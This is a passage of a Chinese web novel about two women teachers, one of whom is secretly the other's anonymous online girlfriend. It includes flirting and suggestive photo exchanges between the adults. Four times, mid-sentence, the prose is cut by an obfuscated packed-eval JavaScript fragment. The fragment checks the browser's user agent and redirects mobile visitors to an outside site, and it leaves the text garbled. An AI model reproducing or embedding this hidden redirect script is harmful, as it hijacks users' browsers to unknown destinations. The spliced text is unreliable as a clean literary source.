只有龚老师意犹未尽,但只能应下来:“可以,那我最后一棒,赵老师倒数第二,简老师和林老师,你们俩商量一下谁第一吧?” 简越颔首,终于可以正大光明看向林筝墨。 她甚至主动朝林筝墨走去,低身小声询问她:“林老师,你说呢?” 自简越靠过来那瞬间,林筝墨浑身就开始紧绷起来,奇了怪,她又闻到对方身上的气味了,到底是什么香水呢? “简主任,我跑得很慢的。”林筝墨说话时眨了眨眼睛,目光落在简越衬衣的扣子上,“你给点建议吧。” 林筝墨的音调不带起伏,这种冷静的声线很迷人。 简越只在听筒里听过,这种面对面的时刻还是第一次。 她稍稍垂眸,瞥见林筝墨雪白而细挺的鼻梁,一张饱满而粉润的唇抿成一条线,询问问题时下意识抬眼,眸子里噙着柔和的水光,很有种孱弱的诱惑力。 简越心跳漏了半拍,“你第一棒,可以吗?” 林筝墨全程游神,心不在焉道:“好的简主任。” 四人准备跑一次试试。 林筝墨先跑。 斯斯文文的林筝墨果然“不负众望”,她跑步的姿势倒是很标准,就是步调有点儿像在散步,左脚落地右脚慢悠悠地抬,看得一旁的龚老师直蹙眉。 赵铭小声嘀咕:“林老师不然改名叫林黛玉吧?” 龚老师:“我真想在她脚底安一个马达。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606811|172086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >只有简越一脸欣赏:“她很可爱啊,你们不觉得她跑步很认真吗?” 赵铭干笑:“哈,简主任,你们女人就是会欣赏女人哈。” 简越却不乐意了,一记冷眼过去,戳得赵铭后背发凉。 “看得出你嫉妒了。”简越怼起人来不给面子。 龚老师发现赵铭吓得像只小鸡崽,也默默闭嘴,不再指指点点。 那边林筝墨慢悠悠跑过来,简越听到她好像在喘气,几步连忙接了上去。 木棍落在简越手心,她没急着跑步,反过来关心林筝墨,“林老师,还好吗?” 林筝墨点点头,脸色却泛白,“没事。” 别人总以为她的瘦弱是娇惯,是矫情,但其实是因为身体不太好,所以很少运动。先前跑步她也知道自己很慢,但绝对没有划水,为的就是不想在同事面前丢脸。 简越一眼看穿她的想法,忽然有点心疼,她知道林筝墨其实挺要强的。 “你跑太快了,下次可以慢点的。”简越反手将木棒递给赵铭,“你先跑吧。”说着去扶林筝墨,“我们去看台歇歇。” 看台没人,光源也不在这边,所以很黑。 简越先是把阶梯擦干净,然后才让林筝墨坐下。 林筝墨照做,没想到简越也坐在了她身旁,没有要走的意思。 于是,忽然意识到,又要和这个女人独处了! 林筝墨不知道如何处理这种尴尬,她和简越并不熟,入职半年以来,两人的唯一交际是早上递文件之事。 主动开启话题? 这对林筝墨来说也太难了。 “你休息会儿吧。”简越知道林筝墨应该不想说话,贴心道:“我也歇会儿。” 说着她闭上了眼睛,看似在闭目养神,实际上在享受和林筝墨的独处时刻。 “好。” 林筝墨松了口气,摸出手机来,给啊啊啊发消息。 林筝墨:【好尴尬!!】 林筝墨:【我上司就坐我旁边。】 林筝墨:【大哭jpg.】 简越的手机连续震动三次。 她缓缓睁开眼,摸出手机,轻飘飘道:“啊忽然想起还有一个消防安全的文件没看。” “嗯,你忙你的。”林筝墨注意力在啊啊啊这边,完全没注意到简越那边的微妙。 啊啊啊回复得很快: 啊啊啊:【怎么的呢?你上司很吓人吗?】 林筝墨:【嗯。】 简越将手机调至静音,蓝光映射在她的脸上,似笑非笑地戳着屏幕。 啊啊啊:【从来没听你讲起过这人,她怎么吓人了?】 林筝墨:【就是给人压迫性很强的那种人。】 啊啊啊:【好奇,是什么让你这么觉得。】 林筝墨盯着屏幕,这倒是问到关键点了。她对简越完全不了解,连话都没讲两句,全凭一种虚浮的印象。 林筝墨:【可能她总是绷着一张脸吧,有一次我偷偷看她,觉得她皱眉的时候好像全世界都欠她钱。】 身旁,简越忽然笑出声来,那笑声相当轻快,似乎是被什么戳中了笑点。 林筝墨熄屏,下意识望向她。 “怎么了简主任?” 简越一反往常,眉头舒展开来,清秀的眉目令林筝墨有点恍惚,这样看倒不像是不近人情了。 “这个消防文件......”简越咽下笑意,“挺好笑的。” 林筝墨:“?” 转身就给啊啊啊发了句: 【她刚刚突然笑了!毫无征兆!瘆人!!】 5. 第五章 第五章:林筝墨,你闷骚。 【她刚刚突然冷笑,瘆人!】 林筝墨发出这条之后,啊啊啊没有再回复她了,因为简越没有再玩手机。 两人在黑暗里坐了一会儿,居然可以做到零交流。 简越发现林筝墨真是个闷葫芦,手机上天天“亲亲我亲亲我”的,私下里却高冷到不行。 “咳。”简越实在忍不住了,手掌在膝盖上摩挲着,“林老师,你好点了吗?” “好多了。” “那边好像差不多了。”简越指了指赵铭的方向,提议:“不然今天咱们不跑了吧?” “好啊。”正中下怀,林筝墨站起身来,“那麻烦您和赵老师他们说一下,我先走了。” “啊,你就走啦?” 林筝墨看着简越,不说话,那双眼睛仿佛在说:我不走留下来还有什么事吗? 简越秒懂,“好的,你注意安全。” 林筝墨想从操场的侧门溜走,这很符合她的调性,常常在最热闹的时候消失在人群里,喜欢当个隐形人,所以简越默默给她取了个名字叫小鸵鸟。 小鸵鸟此刻跃跃欲试,心早就不知道飞哪儿去了。 简越拿她没办法,“快去吧。” “谢谢。”林筝墨道谢只是为了闪人:“我先走了。” 简越的视线紧随过去,好像燃烧的蜡烛滴在林筝墨的肩膀上,那么黏黏腻腻,分也分不开,直到林筝墨拐了个弯儿,早就不见人影,简越依旧保持这个姿态,她的心跟着林筝墨飞走了。 应该没有人能懂吧? 你正热恋的、情感浓烈的女友就在你面前,但你不能拥抱或者亲吻她。 这种隔阂让人非常煎熬,简越觉得心里积闷成一团,情感与理智再次打架。 情感:摊牌吧。 理智:等等吧。 不过只是半分钟的事,手机忽然亮起,是林筝墨打来的语音通话。 简越找了个角落,坐下,默默点了接听。 “我下班啦,你呢?”林筝墨听起来很雀跃。 “下啦。”简越稍稍沉住嗓音,与平日的音调会有些许不同。 “呼,终于走了!!” 简越听了有点儿失落,难道现实生活中,林筝墨就这么不喜欢她吗? “这么高兴,因为没和你上级一起吗?” “也不是。”林筝墨语调平静:“只是觉得跑步很慢,很丢人,人家又要来照顾我,怪不好意思的。” 简越有一点点被安慰到。 “那她人很差吗?”简越忍不住追问起来。 “谁?”林筝墨自问自答:“我上级?” “对。” “没有很差,不了解。”林筝墨实话实说:“我对她也不是很关注。”话锋一转:“哦,但是她最近好像急着要办理人生大事,所以张老师终于不会再给我介绍对象了。” 简越一口老血差点喷出来。 赵铭那个死猪到底在传什么话!!! 哽住。 林筝墨:“祝她早日找到对象吧。” 简越快哭了。 她懂了,原来在林筝墨眼里,她是一个“冷漠到仿佛全世界都欠她一百万但却很想和男人结婚”的上级。 “对了,你今天怎么样?”林筝墨很快转移了话题,不想把注意力放在简越身上。 “还好,心情像过山车一样。” “怎么啦?” “工作上的,和同事之间的关系一般。” “啊......”林筝墨没想到啊啊啊居然在意同事这种无聊的群体,安慰道:“没事,我喜欢你就够了。” 简越握着手机,像是开玩笑又很认真地说:“那你要一直喜欢我哦。” 微信语音真是神奇的东西,准确来说,网络真是神奇的东西,居然透过一个小小的听筒,就能把人类的情感转达得如此精准。 林筝墨耳根微微发烫。 “好,我会的。” 夜晚的天光变得幽蓝,花圃里的虫儿唧唧地叫着,操场那头的风吹过来,将林筝墨额前的发吹得凌乱。 偶尔她也觉得奇怪,居然对这样一个素未谋面的人产生这样的情感。 “我也会的。”啊啊啊小声说。 林筝墨唇角上扬,“对了,今天我买了一个日历,我把它放在办公桌上了。” “买来做什么?” “倒数见面日期。”林筝墨自顾自道:“如果是月底的话,也只有五十天了。” 她用的是“只有”,可见在此之前,她的等待已经很漫长。 简越却略显沉寂:“如果见面之后你对我不满意怎么办?” “为什么呢?”林筝墨觉得啊啊啊有时候有点思虑过度:“你说长相吗?我早就说了,我不是外貌协会。” “其它的。” “比如?” “我的职业。” “我不介意。” 林筝墨不知道啊啊啊是做什么的,因为啊啊啊不太愿意说。但俩人是考编制认识的。一种直觉,她感觉啊啊啊这样的人很适合当老师,大概率也是一个老师。 她理解的。 老师这个身份很特殊。 像性取向这种东西,她是不会向同事公开的。 她只需要过好自己的小小生活,工作是工作,生活是生活。 所以啊啊啊的顾虑她懂。 但她其实不懂—— 不懂简越真正焦虑的原因。 “别担心,我们见面之后,我不会出现在你的工作场合,你也不出现在我的,我们互相尊重,互不打扰,下班之后再过我们的生活,好吗?”林筝墨的想法依旧非常简单。 但她和简越思考的不是同一件事。 恰恰相反,简越是想让她接受,她就是她同事这件事。 可目前看来,依旧比登天还难吧? “你怎么不说话了?”林筝墨发现每次到这个话题啊啊啊都很沉默。 “没有,觉得你说得很对。”简越迅速转移了话题:“诶,对了,我给你买了泡脚桶,在门卫室,记得去拿。” 泡脚桶是因为林筝墨说自己脚很冷,只是随口一句,但啊啊啊记在心上。 诸如此类的事情数不胜数。 林筝墨心头一暖,随即说道:“快见面吧,我也好想给你买好多好多东西。” * 林筝墨所住的公寓是家里人买的,已经是学校附近最方便,最高档的公寓了。 她生活在一个非常正派的家庭,母亲是护士,父亲是大学教授,她是独生子女。 家里算不上大富大贵,但绝对是中产阶级。 在父母眼中,林筝墨是绝对的乖乖女,因为林筝墨从小性格就很安静,母亲觉得她很耐得住性子,适合学钢琴,便送她去学,一学就学到十级。 逢人问她:林筝墨,你是不是特别喜欢钢琴啊? 林筝墨的回答却总令人失望。她说:对音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606812|172086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 符没有太大的兴趣。 旁人听来,这算得上一种神级凡尔赛,确实谦虚过头,但林筝墨实打实没有撒谎。 一点也不喜欢钢琴,却要当所有人心中的才女,要去满足家里人的虚荣心。 她的生活只是一种人设。 潜台词是:你长得这么美,这么听话,这么乖巧,如果你又具备一项值得炫耀的技能的话...... 那会是多么完美的一个女孩儿啊!! 这种附和他人的谎言,伴随了林筝墨二十八年。 时至今日,她依旧在扮演这种角色。 父母每周与她打三次电话,介绍无数所谓的俊男杰士,豪夸那人工作多么上进,学历多久优秀,家庭如何优渥。 却没有人知道,她从高一那年开始,就发现自己对男人不感兴趣了。 “那你会出柜吗?”电话里,啊啊啊抛出相对现实的话题。 林筝墨再次展示了自己的直白:“暂时没有这个打算诶。” “喔。”啊啊啊的声音明显低了下去,“这样子一辈子吗?” “应该是的。”林筝墨很清醒:“我不想妥协,但也不想对抗,和他们吵架很麻烦,只需要说没有合适的就行了。” 啊啊啊打断了她:“那你的另一半呢?” 林筝墨好看的眉头蹙紧了,“那是以后的事情了。” 她虽爱得浓烈,但这个阶段让她出柜,她还是有些忌惮的。 简越喜欢林筝墨式的直白,却也为这种直白感到担忧。 兴许爱一个人就会幻想很多,诸如未来之类的,她迫切想要获得林筝墨的认可,却又无可奈何。 毕竟她还没有真正走到林筝墨的生活里来,现在要对方做出承诺也很虚浮。 “但你别担心啦。”林筝墨缓和气氛:“家里人也没有催那么厉害。” 谈话间,沙发上那只布偶猫慢悠悠朝林筝墨走来,撒娇般的在林筝墨的手臂上蹭来蹭去。 “泡泡。”林筝墨抬起手悠悠抚摸小猫。 听筒里,啊啊啊说:“我要看泡泡。” 林筝墨正要拍照给她看,忽然灵光一闪,想起昨晚的照片。 啊啊啊的那张照片...... 那张故作松弛其实是在勾引人的照片。 “可以啊。”林筝墨眯了眯眼,回答得很婉转:“你还记得我昨晚说的话吗?” 简越还没反应过来什么意思,林筝墨先替她回答了: “说好看泡泡之前,你要先发自己的照片。” “噢,好像是诶。”简越这时候还很正派:“你想看什么?” 林筝墨不加掩饰:“我想看你的身体。” 身体。 语言真的很玄妙。 我想看你的脸蛋,我想看你的手臂,我想看你的腰,这些字眼暂且还算正常。 但...... 我想看你的身体,这是什么意思? “身体?是指......”简越耳朵不自觉泛红起来。 “昨天那张照片挺好看的。”林筝墨脸不红心不跳地说:“要是没有穿背心,应该就更好看了吧。” “只穿内l衣吗?”简越觉得这个理解太涩了,但应该没理解错才对。 “对,可以吗?” 简越唰的一下脸红起来,一路蔓延到脖颈,紧接着浑身都火辣辣的。 她是如何一本正经提出这种骚里骚气的要求的? 林筝墨,你闷骚! 6. 第六章 第六章: 林筝墨当然有自己的坏心思,但过去二十八年来都未曾展现过,没谈过恋爱是一方面,另一个原因是,几乎没有人可以掀起她内心的波澜。 但啊啊啊除外。 林筝墨发现,那些对啊啊啊说出的露骨话语,就像一片土地忽然生出的艳丽花朵,陌生,却又具有难以抑制的自发性。 换句话来说,就是她有点儿忍不住。 她故意的。 她就是想撩拨对方。 最好是能让屏幕那头的人语无伦次,那就再好不过了。 “如果不行就算了。”林筝墨选择以退为进,打下一行字:“不勉强的。” 果不其然,聊天框正上方一直显示“对方正在输入......” 这种吞吐与拖拉,反而制造出难以言喻的暗爽。 就在林筝墨以为对方可能会拒绝的时候,屏幕忽然闪出两行字: “好。” “给你看。” 手机的蓝光映射着林筝墨的面庞,平日澄净的眸子里涂上一层迷濛,瞳仁里的欲l念荡漾着。 她身子软绵绵地向后靠,靠在沙发的软垫上,满脸期待。 这怎么不算是一种惊喜呢? 屏幕迅速弹出一句:“但是,你要等一下。” “不急。”林筝墨慢条斯理打下:“你慢慢拍。” * 【你慢慢拍。】 平平无奇的四个字,简越却觉得这文字背后夹着一股奇异的挑逗,像是一把钩子从屏幕里伸出来,马上就要摄走她的魂魄。 她都不敢想,林筝墨那张冷漠又具有迷惑性的脸,是怎么打下这几行字的? 林某人在网络上好像确实有一套。 简越不傻,平常给学生们安全科普的时候都说过了: 不要随便给网络上的人发照片! 如果对方让你脱l衣服拍照直接拉黑! 但话又说回来了—— 简越她也傻,一想到这是林筝墨...... 一想到林筝墨抱着那种“我要撩你”的心理,简越就蠢蠢欲动,非要来一个“你要撩我?看我不勾死你!”的回击。 于是,关于小情侣之间的角逐暗戳戳开始了。 简越先是去卧室换了一件黑色内l衣,实际上这种内衣穿起来只会觉得性感,但不会觉得涩情。 当然是性感还是涩情,由不得她来评判。 下半身倒是规规矩矩的休闲长裤。 她坐在沙发上,只开了一盏小暖灯,黄澄澄的光落在她的肩膀上,锁骨上,光线越过小山丘来到平坦的小腹,是一幅独特的撩人光景。 哦—— 确实有点儿太黄了。 是指灯光。 简越开始调整姿势,下巴稍扬,克制露出一点清瘦的脸颊弧度,但完全看不到脸。一只手撑在沙发上,从脖子的角度往下。 咔擦。 看了一眼成品照,兀自夸赞,要是平日里拍照片水平有这张的一分一毫,那她现在应该是吃上摄像师的饭而不是当老师。 有点好看怎么回事? 咔擦。 第二张。 一共只拍了两张,两张照片都是很正常的姿势,并没有明晃晃的暗示,仿佛在说:简越我很清白的,您检阅吧! 【我拍好了。】简越先是发送文字。 【我准备好了。】林筝墨秒回。 【我没有给别人发过这样的照片诶。】简越稍作矜持。 林筝墨和她推拉:【如果你担心,就不勉强的,这样确实有点不太好呢。】 言外之意:害怕我暴露你的照片就不用发。 简越不担心这个,因为这是林筝墨。 她不担心照片的隐私问题,她只关心林筝墨满不满意,她还想知道对方的反馈。 可林筝墨这么擅长伪装的一个人,要怎么知道对方的真实感受呢?简越思来想去觉得还是直接一点儿。 【我要发了。】 【好的。】 林筝墨坐直了身体,眼睛舍不得眨。 她以为是一张,结果啊啊啊直接发了两张过来。 肉眼可见林筝墨的眼睛,从正常大小变成了瞪眼状,这是一种被震惊到的下意识反应,很快她的眼皮又稍稍耷拉下来,恢复了正常的大小,随之眼眸里填充了浓厚的迷恋。 好看。 喜欢。 爱。 突然渴了。 还饿。 手痒,想弹钢琴了。 唉。 林筝墨真实叹了口气,两张照片滑来滑去,反反复复。 像是观赏一张美食照片,看得到却吃不到,啊啊啊的身材怎么可以这么好!比昨天那张更直观! 甚至要比好多网络健身博主的都好,瘦,但不只是瘦,有肌肉,但却是薄肌,虽然林筝墨没有健身的习惯,但她知道,这样的身材应该是刻意练习才能达到的水平。 在此之前,对这位素未谋面的网恋对象并没有期待。 比如对方身材很好,很漂亮,这些她都没期待过。她爱她始于灵魂契合。 可现在? 简直就是自摸清一色杠上花啊! 身材恰到好处踩在林筝墨的审美上,这种感觉就像是你饿了,发现桌上全是你喜欢的菜,没有哪一道是不喜欢的! 啊啊啊:【你再不说话我要撤回了。】 林筝墨反手一个保存,哪儿轮得到对方造次。 林筝墨:【好看。】 简越盯着这俩字,蹙眉,觉得这个评价过于单薄。看来并没有掀起太大波澜?那以后见面了可怎么办? 虽说谈恋爱确实是心贴心的交流,但如果“心”贴“心”贴得不满意,就没有办法真的心贴心呢! 肉l体的迷恋也很重要! 简越浑身没了力气,基本鉴定,林筝墨对她的身体没什么感觉。 而林筝墨还徜徉在照片的每个细节里,细嚼慢咽,完全没有心思回复简越。 简越:【那我去洗澡了。】 林筝墨:【嗯。】 过了几秒。 简越:【是不是一般?】 林筝墨:【嗯,挺一般的。】发完这句,嘴唇不自觉抿了一下,补充:【因为摸不到。】 简越:【嗯......什么意思呢?】 林筝墨看完照片,设置为手机内部屏保,才不疾不徐地回复:【我对任何没有实感的东西都提不起太大的兴趣。】 才怪。 反手又把照片设置成聊天封面。 简越:【喔喔。】 简越:【那见面之后就实感一下......】 林筝墨:【我愿意。】 忽然之间,屏幕烧起来了。 因为林筝墨加了一句:【宝宝,我愿意的。】 简越是通过这句话发现,林筝墨一直在装。她明明很喜欢却装作云淡风轻。 像是被对方的文字烫到,简越瞬间扔下手机,无法承受如此大容量的两个字“宝宝”。 因为林筝墨从来没这么叫过她,这是第一次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606813|172086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 而后那种属于“林筝墨式”的撩拨开始迅速发酵,穿透简越整个身体,从上到下迅速燃烧起来,热情在每一个细胞里放烟花,以至于词穷语塞。 简越的心情飞了一趟过山车,才抓起手机回复:【你,你喜欢就好。】 林筝墨没有反驳,只是发了张猫图过来:【给你看泡泡。】 【泡泡好可爱。】简越一边回复一边笑。 林筝墨:【那你明天也记得来看泡泡哦。】 简越:【好~】 林筝墨:【那明天换一套,我想看你穿白色。】 简越:【?】 简越:【什么意思。】 简越:【哦哦,我明白了。】 人家居然是这个意思!! 原来天下没有白费的猫! 开发林筝墨指数:不足1%. 之后简越和林筝墨又缠绵了几句,两人今晚明显情绪高涨,关系进阶到新的阶段。 时间已晚,都有点意犹未尽,但碍于明天要上班,便打算结束话题。 结束语的时候,林筝墨忽然问了简越一个问题: “对了,让你发这种照片,你会觉得我很开放吗?” “不会啊。”简越很想说,我很喜欢。 “在现实生活中我其实是个很闷的人。”林筝墨声线寡淡道:“我觉得我和那些人之间隔着一层膜。” 简越静静听着,实际上,工作上林筝墨也给她这种感觉,与同事相处更是。 温和,耐心,不具有攻击性,但很有距离。 “在我这里不需要,释放自我就好。”简越声音柔和得像风,吹进林筝墨焦躁不安的心里。 对方轻轻嗯了一声。 下一秒像是想起什么似的,嘟囔道:“对了,我应该确实挺想你的,今天上班的时候,我觉得有个人和你声音好像。” 简越的心脏重重跳了一下,平日和林筝墨打电话都是压着声音说话,自然会有些不同,但其实很难掩饰。 “让我猜猜。”简越顺着她的话题往下:“不会是那个上级主任吧?” 林筝墨轻声笑,“嗯,对,她声音还挺好听的。” 明明是要睡觉,话题不知道怎么飘到简越那里,林筝墨想起傍晚和简越坐在一起的时候,对方身上的气味和说话的音色。 气味。 声音。 简越。 思绪忽然有点飘。 这是完全不同的两个形象,像是两张剪纸,一个是圆圈,一个是五角星,无法贴合在一起。 “但也没有。”林筝墨及时打住,“她的声音没有你好听。” 简越听着,生硬地笑了笑,“知道啦,我们要睡觉吗?” “要。” “那明天再聊吧。”挂电话前,简越看了眼日期,“对了,明天是教师节,记得接收我的礼物。” “你又要送什么?” 啊啊啊又要搞惊喜了,林筝墨那股子期待又被拉起来。 “不告诉你,明天见!!” “根本就见不到嘛。”林筝墨恼怒地撒娇:“见不到。” 简越被她逗笑,“会见到的,晚安。” “晚安。”说完这句,语音通话挂断。 林筝墨盯着漆黑的天花板,夜色是黑色墨水泼在视网膜上,她还在嚼那句话。 会见到的。 她要如何见到啊啊啊呢? 只是一种无谓的,脱口而出的,挠痒痒的玩笑。 她明天见不到她的。 绝对的。 7. 第七章 第七章: 五月的天气很符合数字“5”,中规中矩,不冷不热。 尽管已经不是第一次过教师节,但隐约还是有些期待的。学生们其实很可爱,常以不经意的方式给惊喜,爱意都藏在花束和信件中。 清晨,林筝墨到办公室发现桌上已经有一张贺卡,是赵筱筱的。 贺卡上写着: 【林老师,教师节快乐!今天提前来到学校,希望我是第一个送你贺卡的人!祝你永远年轻漂亮!爱你!】 末尾画着一个可爱的笑脸。 林筝墨唇角挂着笑,将贺卡存放在抽屉里,期间无意瞥见一道身影。 是简越。 夏日伊始的阳光落在简主任的肩膀上,将她单薄的肩胛涂上一层清新的光雾。兴许是今日的阳光过于柔和,林筝墨忽然觉得简越眉目清秀,气质纤丽。 目光微怔,草草挪开眼,低头捻开钢笔,拿了一册本不应该批改的作业,默不作声批阅起来。 耳朵却在捕捉脚步声。 简越的鞋履摩擦着花岗石地板,越来越近了。林筝墨捏着钢笔的手稍稍紧了些,一个不留神,在册子上留下印记更粗的顿点,却始终没抬起头来。 “林老师。”简越一只手压在办公桌上,低头看着林筝墨。 林筝墨恍惚地抬起头,发现对方手里拿着一束花。 那是一束百合。白瓣配绿芯,淡雅又迷人。 “怎么了简主任?” “你的花。”简越将花放在林筝墨的笔筒旁边,琥珀色的眼睛直勾勾看着林筝墨,“是你的吧?” “我的?”林筝墨看了眼百合,又看向简越,“我没有买花。” “哦,那就是外卖员送错了。我打开卡片,发现上面写的是你的名字。”简越的食指轻轻点了点卡片,示意林筝墨看。 林筝墨不敢看,这束花绝对是啊啊啊送的。 “应该是朋友送的。”林筝墨敛下惊喜,“谢谢。” “不客气。”简越说完这句,没离开,反倒是打量着桌上的花,自顾自道:“我数过了,好像是九朵百合。” 林筝墨略微意外,意外这个话题还没结束,以及,她还是认得百合花的,不需要简主任赘述吧? 对方是什么意思呢? 隐约觉得还有话要说。 果不其然,简越又说:“记得送九朵百合好像有什么寓意,但我忽然想不起来了。”她说话时只是看着花,不曾望向林筝墨,仿佛只是随口一句:“刚掂量的时候,发现这束花也挺沉的。” 看似漫不经心的话语,却在提醒着林筝墨。 内有玄机。 于是林筝墨的注意力自然落在花束上,发现花只有九朵,花拖却很大,觉得很沉,仿佛这花里还放着别的东西。 “谢谢简主任,教师节快乐。” “你也快乐,我忙去了。” 简越转身离去,林筝墨的目光循她离去,循着她的背影而去,随着阳光散去。 脑海里忽然闪烁出啊啊啊那句“会见的”。 会见的。 明媚的清晨没有见到啊啊啊。 却见到毫不相干的简主任。 简主任。 简主任拿来的花。 花就在桌子一角,林筝墨拉回神思,将注意力放在花束上。 鲜花很新鲜,花瓣上还挂着晶莹的水珠。 趁着办公室还没什么人,林筝墨摘下花朵里的卡片。 翻开来看: 【教师节快乐,希望你每天都开心、健康,爱你,我的宝贝。】 字迹隽秀,略有笔锋。 这张卡片上的文字给人感觉很干净,且是用蓝色钢笔写的。以至于林筝墨有种错觉,这不是商家写的,而是啊啊啊的笔迹。 当然,那只是一种幻想。 可是! 林筝墨的注意力很快放在那四个字上:爱你,以及,宝贝。 简越说自己看过贺卡了,那她岂不是也看了内容? 哇,好尴尬! 林筝墨红着脸继续看花里藏着的东西,发现啊啊啊其实花了点儿心思,百合花下面居然藏着玫瑰和尤加利叶。 这种搭配她知道,花语是:炽热的爱意。 再往下,发现花里其实藏着一个小盒子,林筝墨拆开来看,很意外,这居然是一个老式MP3。 只能使用插口式耳机,没有蓝牙功能。 这东西很古老,基本流行于千禧年,现在年轻一代早就不使用了。 所以送这个是什么意思呢? 林筝墨拍了张照片发给对方。 【花很漂亮。】 【但MP3是什么意思?】 啊啊啊秒回:【回去听听就知道了。】 林筝墨心痒痒:【在学校听不了,没有耳机,是什么?】 啊啊啊:【不告诉你。】 林筝墨:【啊,你怎么这样!】 啊啊啊:【希望宝贝喜欢~】 林筝墨:【呜呜,很喜欢,就是你的花送错办公室了!你写的宝贝也被我们年级主任看到了TAT.】 啊啊啊那边显示:正在输入中...... * 与此同时,隔壁。 宽绰的办公室只有简越一人,书桌上的蓝色钢笔是罪魁祸首之一。 写下“爱你”和“宝贝”是有意为之,主动把花送过去更是处心积虑。 这是简越送给林筝墨的教师节礼物,履行昨晚那句“会见到的”。 屏幕上的文字很生动。 甚至都能想象出林筝墨打下这段话时的表情,大概是害羞中带一点愠怒。 简越回复:【啊,她看到了?那怎么办?】 林筝墨:【应该没事。】 简越:【她会对别人说吗?】 发这句,其实是想知道林筝墨对自己的真实看法。 林筝墨回复得很快:【我觉得不会。】下一句:【她不是很八卦的人,应该不在意吧。】 简越松了口气,至少不是负面评价。 【我还给你点了奶茶,应该在第二节课后到。】 林筝墨最近沉迷于某款饮品,啊啊啊经常给她点到办公室。 欣然接受: 【谢谢宝宝。】 【亲亲jpg.】 简越: 【抱jpg.】 * 林筝墨上完第二节课刚好接到外卖员的电话。 “老师,您的外卖到咧!” “放桌上就好。” “有点多,放不下啊。” “啊......” 林筝墨快步去到办公室,甫一踏入,赵老师舔着脸笑:“林老师,这么大方!” 办公桌上放着20多杯奶茶,在如此特定的节日里,同事们自然以为林筝墨是请大家喝。 以前也有人请过,类似于心血来潮的礼尚往来,所以显得很自然。 林筝墨有点懵。 啊啊啊怎么点了这么多杯!啊啊啊今天怎么了!啊啊啊怎么不提前说! “林老师,我可以喝吗?”赵老师已经蠢蠢欲动。 “可以。”林筝墨主动将奶茶分给同事,给自己留了一杯最爱的。 年纪大的一点的老师会假意推辞,说太甜了对牙口不好。但吸管插好送到嘴边,还是开开心心喝起来。 作为隐形人的林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15606814|172086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筝墨,再次成为话题中心,有老师说她是安静的小好人,可可爱爱。 明显,小小奶茶反而拉了一波好感。 平日里和同事的那种距离感稍微缓和了一些,让大家觉得:哦,林老师只是不善言辞,只是不喜欢社交,但是人还是很好的呢! 林筝墨兀自感慨,啊啊啊这算是无心插柳柳成荫了吧。 “林老师,咋还剩一杯呢?”赵铭瞅着,询问:“你给隔壁简主任也点了吗?” “还剩一杯啊。”林筝墨面不改色说:“那你拿给简主任吧,麻烦你了......” 她不想和隔壁的人正面接触。 赵老师不敢当显眼包,客气道:“奶茶是你点的,我怎么好意思去送?” 林筝墨迟疑了。 她没办法喝两杯,又不想给赵铭这头猪喝,但一想到简越那张脸。 天呐。 好紧张怎么回事? 赵铭煽动:“哎,这不巧了吗?这剩下的一杯是甜心芭乐,简主任可喜欢喝这款了。” “她喜欢?” 赵铭颔首,“团建的时候见她喝过几次。” 林筝墨迟疑片刻,觉得有种魔力驱使着她,送给简主任喝吧,就一个同事而已,紧张什么呢?而且人家正好喜欢喝。 简主任不坏的。 虽然脸臭了点。 但早上还笑呢。 林筝墨思来想去,神不知鬼不觉起身,拿起那杯奶茶,那瞬间,她甚至觉得是内心的什么东西操控着她,不是她的本意,但这种感觉与失控类似。 迷迷糊糊走出办公室,轻敲隔壁的门,她听见简越说了一声“进来”。 再一抬头,便已经到简主任面前了。 林筝墨指尖握着冰凉的奶茶,凉意透过纸杯传递到她的手掌心,一张脸红扑扑,看着简越,发现对方正看着她笑。 “简主任......”林筝墨喉咙滑动了一下,脸烫得厉害,“奶茶你喝吗?” 简越故作惊讶,“嗯给我的?” “对。”林筝墨将甜心芭乐递过去,“不知道你喜不喜欢。” “谢谢,喔这款我正好很喜欢。”简越抿唇笑了下,眼底流露着喜悦,仿似得到了什么答案,“你今天好开心的样子。” 林筝墨百口莫辩! 她知道简越要说什么! 